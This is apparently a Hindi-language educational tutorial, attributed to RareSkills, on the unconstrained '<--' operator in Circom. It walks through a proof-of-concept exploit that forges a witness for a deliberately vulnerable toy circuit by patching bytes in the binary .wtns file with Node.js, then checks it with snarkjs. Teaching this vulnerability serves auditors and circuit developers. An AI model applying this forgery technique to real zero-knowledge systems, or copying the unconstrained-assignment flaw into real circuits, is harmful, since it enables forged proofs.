Circom में <-- ऑपरेटर खतरनाक हो सकता है क्योंकि यह signals को values तो असाइन करता है लेकिन उन्हें constrain (प्रतिबंधित) नहीं करता है। लेकिन आप वास्तव में इस vulnerability के लिए एक POC (proof of concept) कैसे exploit लिखते हैं?
हम निम्नलिखित सर्किट को हैक करेंगे:
pragma circom 2.1.8;
template Mul3() {
signal input a;
signal input b;
signal input c;
signal output out;
signal i;
a * b === 1; // Force a * b === 1
i <-- a * b; // i must be equal 1
out <== i * c; // out must equal c since i === 1
}
component main{public [a, b, c]} = Mul3();
इस सर्किट को mul3.circom (तीन variables को गुणा करने का संक्षिप्त रूप) के रूप में सेव करें।
यह सर्किट ऐसा प्रतीत होता है कि यह a और b के गुणनफल (product) को 1 होने के लिए बाध्य करता है, और फिर i को 1 असाइन करता है।
अंत में, out को i * c होने के लिए constrain किया गया है। चूँकि माना जाता है कि i की value केवल 1 हो सकती है, इसलिए out को c के बराबर होना चाहिए।
यहाँ बग यह है कि <-- कोई constraint नहीं बना रहा है, बल्कि एक value कैलकुलेट कर रहा है और उसे i को असाइन कर रहा है। वास्तव में, i की कोई भी value हो सकती है जो हम चाहते हैं, इसका a * b या 1 होना आवश्यक नहीं है।
इस exploit में i को एक ऐसी value असाइन करना शामिल है जो a * b === 1 नहीं है, जिससे हम out ≠ c सेट कर सकते हैं।
संक्षेप में, सर्किट लिखने वाला यह उम्मीद करता है कि out = c होगा, लेकिन हम इस मान्यता का उल्लंघन करेंगे। वर्तमान उदाहरण में, कोई नुकसान नहीं होता है, लेकिन एक रियल एप्लिकेशन में यह एक समस्या हो सकती है यदि यह महत्वपूर्ण हो कि दो signals की value समान हो।
लेकिन हम वास्तव में exploit कैसे बनाते हैं?
Exploit करने के चरण
एक valid proof जनरेट करना
Circom सर्किट के लिए एक proof बनाने के लिए, हम सबसे पहले सर्किट के लिए एक input.json बनाते हैं:
{"a": "1", "b": "1", "c": "5"}
यह सर्किट को संतुष्ट (satisfy) करेगा:
a * b === 1; // 1 * 1 === 1
i <-- a * b; // 1 <-- 1 * 1
out <== i * c; // 5 <== 1 * 5;
// out === c as the dev expects
हम निम्नलिखित कमांड का उपयोग करके सर्किट को r1cs में कंपाइल करते हैं:
circom mul3.circom --r1cs --wasm --sym
फिर हम इसके द्वारा बनाई गई wasm फाइल के साथ एक witness जनरेट करते हैं, जिसमें input.json का उपयोग इनपुट के रूप में किया जाता है:
cd mul3_js/
node generate_witness.js mul3.wasm ../input.json ../witness.wtns
cd ..
हम निम्नलिखित कमांड के साथ snarkjs द्वारा हमारे लिए कैलकुलेट किए गए witness को देख सकते हैं:
snarkjs wtns export json witness.wtns witness.json
cat witness.json

Witness signal लेआउट
Witness वेक्टर में पहली एंट्री हमेशा 1 होती है। (इसे हमारे r1cs लेख में समझाया गया था जिसे पाठक देख सकते हैं)। वेक्टर में बाकी एलिमेंट सर्किट में मौजूद values होते हैं। हम input.json, mul3.sym, और witness.json फाइल को देखकर यह पता लगा सकते हैं कि कौन सा एलिमेंट किस signal से मेल खाता है:
cat input.json
cat mul3.sym
cat witness.json
हम नीचे आउटपुट दिखाते हैं और witness.json फाइल में पीले रंग में लेबल जोड़ते हैं:

इस सर्किट को exploit करने के लिए, हम i को एक ऐसी value असाइन करना चाहते हैं जिसके कारण out ≠ c हो जाए। हालाँकि, Circom हमें उन signals पर सीधे लिखने का कोई mechanism नहीं देता है जो input signals नहीं हैं, और i एक input signal नहीं है (शायद हमारे हैक को थोड़ा कठिन बनाने के लिए?)। (snarkjs एक fullprove api प्रदान करता है जो ऐसा करता प्रतीत होता है, लेकिन यह कोड 2021 से टूटा हुआ है)।
Malicious witness का उदाहरण
एक ऐसा malicious witness:
[
"1",
"10", // out
"1", // a
"1", // b
"5", // c
"2" // i
]
यह constraints को संतुष्ट करेगा:
a * b === 1; // 1 * 1 = 1
i <-- a * b; // 2 <-- 1 * 1 is ok because <-- is not a constraint!
out <== i * c; // 10 = 2 * 5;
अभी, हमारे पास एक valid witness है जिसके लिए snarkjs एक proof बनाएगा:
snarkjs wtns check mul3.r1cs witness.wtns

हमारा लक्ष्य एक ऐसी witness फाइल बनाना है जो सर्किट को संतुष्ट करे लेकिन इस अपेक्षित गुण (expected property) का उल्लंघन करे कि out = c है।
witness.wtns के लेआउट को समझना
witness.wtns एक बाइनरी फाइल है। दुर्भाग्य से, जैसा कि ऊपर बताया गया है, Circom और snarkjs json witness वेक्टर लेने और .wtns फाइल आउटपुट करने के लिए कोई API प्रदान नहीं करते हैं। .wtns फाइल का फॉर्मेट उस सोर्स कोड को देखकर निर्धारित किया जा सकता है जो इसे जनरेट करता है। हालाँकि, बाइनरी फाइल का एक त्वरित निरीक्षण (quick examination) ही पर्याप्त है।
हम ऊपर लिंक किए गए कोड में देखते हैं कि यह फाइल में एक Uint8Array लिखता है। तो चलिए निम्नलिखित कोड के साथ फाइल को Uint8Array के रूप में पार्स करते हैं और इसे प्रिंट करते हैं:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
let data_arr = new Uint8Array(data);
console.dir(data_arr, {'maxArrayLength': null});

यह witness.wtns कैसे फॉर्मेट किया गया है, इसके विवरण में जाए बिना, हम अभी भी अपने witness की values को witness.json के समान क्रम में व्यवस्थित देख सकते हैं!

अब हम बाइनरी फाइल को ओवरराइट करके एक fake witness बनाने के लिए तैयार हैं, जहाँ इन signals i और out की values स्टोर की गई हैं:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
console.log("Before");
console.dir(data, {'maxArrayLength': null});
data[108] = 10; // `out`
data[236] = 2; // `i`
console.log("After");
console.dir(data, {'maxArrayLength': null});
fs.writeFileSync('exploit_witness.wtns', data);
Fake witness बनाने के लिए अपना कोड चलाने के बाद, हम देख सकते हैं कि out और i के अनुरूप values को योजना के अनुसार बदल दिया गया है (बदले गए बाइट्स को लाल बॉक्स के साथ एनोटेट किया गया है, बाकी अपरिवर्तित हैं):

उपरोक्त कोड हमारे लिए exploit_witness.wtns फाइल भी लिखता है, जो कि केवल ऊपर प्रिंट किए गए बाइट्स का एरे है।
जब हम snarkjs का उपयोग करके सर्किट के विरुद्ध exploit_witness.wtns को वेरिफाई करते हैं:
snarkjs wtns check mul3.r1cs exploit_witness.wtns

यह witness सर्किट को संतुष्ट करता है!
यहाँ से, हम सर्किट को exploit करने के लिए एक fake proof बनाने के लिए बस Circom डॉक्यूमेंटेशन में proving के चरणों का पालन कर सकते हैं।
RareSkills के साथ और जानें
ZK में और अधिक विषयों को जानने के लिए कृपया हमारा Zero Knowledge Course देखें।
मूल रूप से 18 मार्च को प्रकाशित